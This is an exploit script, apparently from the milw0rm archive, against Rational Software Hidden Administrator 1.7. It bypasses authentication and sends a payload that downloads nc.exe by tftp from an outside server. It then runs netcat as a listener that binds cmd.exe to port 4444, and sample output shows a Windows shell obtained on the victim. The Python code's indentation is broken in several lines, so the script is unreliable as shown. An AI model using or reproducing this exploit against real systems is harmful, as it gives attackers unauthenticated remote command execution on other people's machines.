Rational Software Hidden Administrator 1.7 - Auth Bypass Exploit



####################################################################################

#           Hidden Administrator Authenticaiton Bypass Exploit                     #
#                   ahmed[at]rewterz.com                                           #
#            http://www.securityfocus.com/bid/24049                                #
#                                                                                  #
# C:\>python rewt-ha-exp.py                                                        #
# Usage: rewt-ha-exp.py -h <host ip> -p <port> -t <tftpd server ip>                #
# make sure nc.exe exists on tftpd server                                          #
#                                                                                  #
# C:\>telnet 192.168.1.4 4444                                                      #
# C:\>python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105                #
# [+] Connecting to 192.168.1.4                                                    #
# [+] Uploading Files                                                              #
# [+] DONE [+]                                                                     #
# [+] Now Connect to port 4444 on victim IP !!!                                    #
#                                                                                  #
# C:\>telnet 192.168.1.4 4444                                                      #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
# C:\ha_server>                                                                    # 
####################################################################################


import socket
import struct
import time
import sys
import getopt


def usage():
    print "\n"
    print "######################################################"
    print "# Hidden Administrator Authentication Bypass Exploit #"
    print "#           Coded By ahmed[at]rewterz.com            #"
    print "######################################################"
    print "\n"
    print "Usage: %s -h <host ip> -p <port> -t <tftpd server ip>" % sys.argv[0]
    print "make sure nc.exe exists on tftpd server\n"

def exploit():
    h ="%X" % (130+len(tftpd))
        buff1='_file_manager_operations_copy_files_Loc_Rem_c:\\^file\r\n\x0brewt_ha.bat'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    buff1 += ('\\x' + h).decode('string_escape')
    buff1 += '\x00\x00\x00\x00\x00\x00\x00'
    buff1+='\x00tftp -i ' + tftpd + ' GET nc.exe c:\\nc.exe                           '
    buff1+='\r\nc:\\nc.exe -L -d -p 4444 -e cmd.exe                 \r\n\r\n         '
    buff1+='      \r\n\r\n_file_manager_operations_get_cur_dir_c:\r\n'
    try:
        print "[+] Connecting to %s" %host
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect((host,int(port)))
        print "[+] Uploading Files"
        s.send(buff1)
            time.sleep(2)
            s.send('+run_C:\\rewt_ha.bat|\r\n')
            time.sleep(1)
            print "[+] DONE [+]"
                print "[+] Now Connect to port 4444 on victim IP !!!"
    except:
        print "[+] Could not connect to the server"


if len(sys.argv)<7:
       usage()
       sys.exit()
try:
       options = getopt.getopt(sys.argv[1:], 'h:p:t:')[0]
except getopt.GetoptError, err:
       print err
       usage()
       sys.exit()


for option, value in options:
       if option == '-h':
           host = value
       if option == '-p':
           port = int(value)
       if option == '-t':
           tftpd=value
exploit()

# milw0rm.com [2007-05-19]